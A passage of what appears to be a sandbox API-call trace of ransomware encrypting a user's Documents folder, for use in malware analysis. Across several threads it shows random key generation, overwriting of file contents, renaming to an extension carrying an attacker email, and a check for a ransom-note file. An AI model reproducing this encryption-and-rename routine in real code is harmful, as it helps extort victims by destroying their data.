CurrentTime=0x2bbfd40 | out: CurrentTime=0x2bbfd40*=132174898115100000) returned 0x0 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x4fb7f0fe [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x2e36ae1e [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x2b34bd72 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x256f87ae [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x4df1fcc3 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x73019103 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x14e6c2a1 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x700ead42 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x3009978a [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x259a606e [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x56fdd08b [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x616e6513 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x25c5392e [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x13b0fcda [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x64fbfa38 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x35bc1eb7 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x40598c23 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x7ebb7fa9 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x25f011ee [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x224a1041 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x26cfe09 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0xafae816 [0047.527] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x58bd6929 [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x5e287582 [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x181bba43 [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x39ecc6cc [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0xada7d97 [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x7f0f55e [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x2f15477d [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x37cb8029 [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x4940a332 [0047.528] RtlRandomEx (in: Seed=0x2bbfd4c | out: Seed=0x2bbfd4c) returned 0x5e83a5ef [0047.539] ReadFile (in: hFile=0x690, lpBuffer=0x5e60070, nNumberOfBytesToRead=0x8b21, lpNumberOfBytesRead=0x2bbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x5e60070*, lpNumberOfBytesRead=0x2bbfd3c*=0x8b21, lpOverlapped=0x0) returned 1 [0047.540] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.541] WriteFile (in: hFile=0x690, lpBuffer=0x5e6c878*, nNumberOfBytesToWrite=0x8b21, lpNumberOfBytesWritten=0x2bbfd38, lpOverlapped=0x0 | out: lpBuffer=0x5e6c878*, lpNumberOfBytesWritten=0x2bbfd38*=0x8b21, lpOverlapped=0x0) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede08 [0047.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede30 [0047.975] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede30) returned 1 [0047.975] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6c878) returned 1 [0047.982] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60070) returned 1 [0047.984] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e458f0) returned 1 [0047.984] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0047.984] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x409e68 [0047.984] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.984] WriteFile (in: hFile=0x690, lpBuffer=0x4419a8*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x2bbfda0, lpOverlapped=0x0 | out: lpBuffer=0x4419a8*, lpNumberOfBytesWritten=0x2bbfda0*=0x11b, lpOverlapped=0x0) returned 1 [0048.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4419a8) returned 1 [0048.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409de8) returned 1 [0048.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede30) returned 1 [0048.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409e68) returned 1 [0048.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede08) returned 1 [0048.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46990) returned 1 [0048.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46a30) returned 1 [0048.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46a58) returned 1 [0048.106] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00130 [0048.106] wcscpy (in: _Dest=0x5e00130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf" [0048.106] wcscat (in: _Dest=0x5e00130, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d" [0048.106] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2bbfd58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.106] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x441950 [0048.106] NtSetInformationFile (FileHandle=0x690, IoStatusBlock=0x2bbfd50, FileInformation=0x441950, Length=0xda, FileInformationClass=0xa) returned 0x0 [0048.223] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441950) returned 1 [0048.223] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435060) returned 1 [0048.223] NtQueryInformationFile (in: FileHandle=0x690, IoStatusBlock=0x2bbfd64, FileInformation=0x2bbfd3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bbfd64, FileInformation=0x2bbfd3c) returned 0x0 [0048.223] NtSetInformationFile (FileHandle=0x690, IoStatusBlock=0x2bbfd64, FileInformation=0x2bbfd3c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.224] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00130) returned 1 [0048.224] FlushFileBuffers (hFile=0x690) returned 1 [0048.299] CloseHandle (hObject=0x690) returned 1 [0048.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400898 [0048.301] wcscpy (in: _Dest=0x400898, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.301] wcscat (in: _Dest=0x400898, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.301] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.302] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400898) returned 1 [0048.302] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447320) returned 1 Thread: id = 306 os_tid = 0xb40 [0047.542] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\80npcnbavngcoq.csv")) returned 0x20 [0047.542] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv", dwFileAttributes=0x20) returned 1 [0047.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\80npcnbavngcoq.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x694 [0047.542] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x350f7ac | out: lpFileSize=0x350f7ac*=66089) returned 1 [0047.542] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x10225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.542] ReadFile (in: hFile=0x694, lpBuffer=0x350f730, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x350f72c, lpOverlapped=0x0 | out: lpBuffer=0x350f730*, lpNumberOfBytesRead=0x350f72c*=0x4, lpOverlapped=0x0) returned 1 [0047.543] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a08 [0047.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a80 [0047.543] NtQuerySystemTime (in: CurrentTime=0x350f70c | out: CurrentTime=0x350f70c*=132174898115256000) returned 0x0 [0047.543] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x69f00591 [0047.543] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x72515556 [0047.543] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x65110ddc [0047.543] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x3c49ac34 [0047.543] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x5575ee26 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x16cadb2d [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x38c5d6de [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x1ad0e121 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x664867c5 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x28d467a9 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x5d522570 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x16a9f132 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x69958f6b [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x62383270 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x7eebaf71 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x40d23374 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x6dd00ea2 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x1c0dd72 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x77f1bc06 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x4cf9eec5 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x6c523612 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x582b00f1 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x4ce0d2fe [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0xcf68f08 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x680d0a3c [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x5b1ae76a [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x4b52a320 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x35af6141 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x59758c80 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x66276d20 [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x6f85328f [0047.544] RtlRandomEx (in: Seed=0x350f718 | out: Seed=0x350f718) returned 0x6d97da7a [0047.556] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.556] ReadFile (in: hFile=0x694, lpBuffer=0x5e79080, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x350f6ec, lpOverlapped=0x0 | out: lpBuffer=0x5e79080*, lpNumberOfBytesRead=0x350f6ec*=0xc800, lpOverlapped=0x0) returned 1 [0047.556] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.556] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0047.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45968 [0047.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0047.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e85888 [0047.560] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.560] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a80 [0047.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46a80) returned 1 [0047.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45968) returned 1 [0047.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0047.560] WriteFile (in: hFile=0x694, lpBuffer=0x5e85888*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x350f6ec, lpOverlapped=0x0 | out: lpBuffer=0x5e85888*, lpNumberOfBytesWritten=0x350f6ec*=0xc800, lpOverlapped=0x0) returned 1 [0047.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e85888) returned 1 [0047.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79080) returned 1 [0047.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x40a3a8 [0047.986] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.986] WriteFile (in: hFile=0x694, lpBuffer=0x441ad0*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x350f76c, lpOverlapped=0x0 | out: lpBuffer=0x441ad0*, lpNumberOfBytesWritten=0x350f76c*=0x115, lpOverlapped=0x0) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441ad0) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4407a0) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede58) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a3a8) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46a08) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46aa8) returned 1 [0048.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46ad0) returned 1 [0048.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x44d618 [0048.107] wcscpy (in: _Dest=0x44d618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv" [0048.107] wcscat (in: _Dest=0x44d618, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d" [0048.107] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x350f724, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x441a38 [0048.107] NtSetInformationFile (FileHandle=0x694, IoStatusBlock=0x350f71c, FileInformation=0x441a38, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0048.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441a38) returned 1 [0048.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x434598) returned 1 [0048.226] NtQueryInformationFile (in: FileHandle=0x694, IoStatusBlock=0x350f730, FileInformation=0x350f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x350f730, FileInformation=0x350f708) returned 0x0 [0048.226] NtSetInformationFile (FileHandle=0x694, IoStatusBlock=0x350f730, FileInformation=0x350f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d618) returned 1 [0048.228] FlushFileBuffers (hFile=0x694) returned 1 [0048.302] CloseHandle (hObject=0x694) returned 1 [0048.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400898 [0048.305] wcscpy (in: _Dest=0x400898, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.305] wcscat (in: _Dest=0x400898, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.305] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400898) returned 1 [0048.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400918) returned 1 Thread: id = 307 os_tid = 0xb44 [0047.565] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8alelqkzt6wsejui.pptx")) returned 0x20 [0047.566] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx", dwFileAttributes=0x20) returned 1 [0047.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8alelqkzt6wsejui.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x698 [0047.566] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x5a4f9a4 | out: lpFileSize=0x5a4f9a4*=81626) returned 1 [0047.566] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x13ed6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.566] ReadFile (in: hFile=0x698, lpBuffer=0x5a4f928, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5a4f924, lpOverlapped=0x0 | out: lpBuffer=0x5a4f928*, lpNumberOfBytesRead=0x5a4f924*=0x4, lpOverlapped=0x0) returned 1 [0047.567] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a80 [0047.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46af8 [0047.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46b20 [0047.567] NtQuerySystemTime (in: CurrentTime=0x5a4f904 | out: CurrentTime=0x5a4f904*=132174898115412000) returned 0x0 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x42ae9ad5 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x2916d5ea [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x3080f8f3 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x13c7108c [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0xdb6a996 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x29d47a73 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x4f11290e [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x67322e02 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x513a5375 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0xf72aa58 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x1bf766a8 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x2d272e3b [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x5abe54e8 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x62431339 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x34308779 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x1329bc32 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x1f535809 [0047.567] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x56fc4607 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x43f3ca31 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x705cf203 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x2cd33647 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x1ef7d110 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x7db79ec4 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x1b823f89 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x71386192 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x2544aeee [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x4344dc52 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x551ebd02 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x3e829e25 [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x399976eb [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x40d5ba1e [0047.568] RtlRandomEx (in: Seed=0x5a4f910 | out: Seed=0x5a4f910) returned 0x3c86f733 [0047.579] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.579] ReadFile (in: hFile=0x698, lpBuffer=0x5e92090, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x5a4f8e4, lpOverlapped=0x0 | out: lpBuffer=0x5e92090*, lpNumberOfBytesRead=0x5a4f8e4*=0xc800, lpOverlapped=0x0) returned 1 [0047.580] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.580] RtlAllocateHeap 